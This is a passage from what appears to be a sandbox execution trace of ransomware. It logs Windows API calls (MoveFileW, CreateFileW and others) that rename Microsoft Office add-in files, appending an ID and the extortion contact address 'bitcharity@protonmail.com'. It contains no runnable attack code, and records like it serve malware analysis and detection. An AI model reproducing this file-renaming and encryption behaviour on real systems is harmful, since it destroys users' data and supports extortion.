Office\\root\\Office16\\ADDINS\\PMAILEXT.ECF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\pmailext.ecf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.960] CloseHandle (hObject=0x1160) returned 1 [0262.968] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\MICROSOFT.DATA.RECOMMENDATION.CLIENT.CORE.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power map excel add-in\\microsoft.data.recommendation.client.core.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\MICROSOFT.DATA.RECOMMENDATION.CLIENT.CORE.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power map excel add-in\\microsoft.data.recommendation.client.core.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0262.975] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\VISUALIZATIONCONTROL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power map excel add-in\\visualizationcontrol.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\VISUALIZATIONCONTROL.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power map excel add-in\\visualizationcontrol.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0262.989] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0262.989] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0262.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\PowerViewRes.ar.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ar\\powerviewres.ar.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.990] CloseHandle (hObject=0x1160) returned 1 [0262.997] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0262.997] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0262.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\PowerViewRes.bg.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\bg\\powerviewres.bg.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.997] CloseHandle (hObject=0x1160) returned 1 [0263.662] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0263.662] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0263.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\PowerViewRes.et.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\et\\powerviewres.et.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.662] CloseHandle (hObject=0x1228) returned 1 [0263.672] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0263.672] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0263.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\PowerViewRes.eu.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\eu\\powerviewres.eu.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.672] CloseHandle (hObject=0x1228) returned 1 [0263.692] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0263.692] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0263.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\PowerViewRes.fi.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\fi\\powerviewres.fi.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.692] CloseHandle (hObject=0x1228) returned 1 [0263.701] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0263.701] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0263.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\PowerViewRes.fr.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\fr\\powerviewres.fr.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.701] CloseHandle (hObject=0x1228) returned 1 [0263.707] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0263.707] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0263.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\PowerViewRes.gl.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\gl\\powerviewres.gl.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.707] CloseHandle (hObject=0x1228) returned 1 [0263.903] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0263.903] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0263.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\PowerViewRes.lt.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\lt\\powerviewres.lt.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.903] CloseHandle (hObject=0x1158) returned 1 [0263.909] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0263.909] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0263.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\PowerViewRes.lv.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\lv\\powerviewres.lv.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.909] CloseHandle (hObject=0x1158) returned 1 [0263.912] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\Microsoft.Reporting.AdHoc.Shell.Bootstrapper.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\microsoft.reporting.adhoc.shell.bootstrapper.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\Microsoft.Reporting.AdHoc.Shell.Bootstrapper.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\microsoft.reporting.adhoc.shell.bootstrapper.xap.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0263.918] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\Microsoft.ReportingServices.ProgressiveProcessing.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\microsoft.reportingservices.progressiveprocessing.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\Microsoft.ReportingServices.ProgressiveProcessing.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\microsoft.reportingservices.progressiveprocessing.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0263.929] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0263.929] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0263.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\PowerViewRes.ms.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ms\\powerviewres.ms.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.929] CloseHandle (hObject=0x11d0) returned 1 [0263.939] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0263.939] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0263.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\PowerViewRes.nl.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\nl\\powerviewres.nl.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.939] CloseHandle (hObject=0x11d0) returned 1 [0264.676] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ar\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ar\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0264.689] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\bg\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\bg\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0265.240] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\de\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\de\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0265.250] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\el\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\el\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0265.259] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\es\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\es\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0265.934] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hu\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hu\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0266.023] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\id\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\id\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0266.037] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\it\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\it\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0266.363] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\lv\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\lv\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0266.370] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Excel.BackEnd.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.analysisservices.excel.backend.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Excel.BackEnd.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.analysisservices.excel.backend.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0266.371] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.analysisservices.excel.common.frontend.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.analysisservices.excel.common.frontend.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0266.372] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.analysisservices.modeler.ui.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.analysisservices.modeler.ui.rll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0266.383] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Office.Interop.Excel.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.office.interop.excel.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Office.Interop.Excel.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.office.interop.excel.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0266.387] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.ReportingServices.QueryDesigners.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.reportingservices.querydesigners.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.ReportingServices.QueryDesigners.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.reportingservices.querydesigners.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0266.388] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.reportviewer.common.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.reportviewer.common.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.reportviewer.common.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.reportviewer.common.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0266.393] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ms\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ms\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0266.401] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\nl\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\nl\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0266.766] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.766] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1025\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1025\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.767] CloseHandle (hObject=0x1278) returned 1 [0266.767] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.768] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1026\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1026\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.768] CloseHandle (hObject=0x1278) returned 1 [0266.768] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.769] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\10266\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program 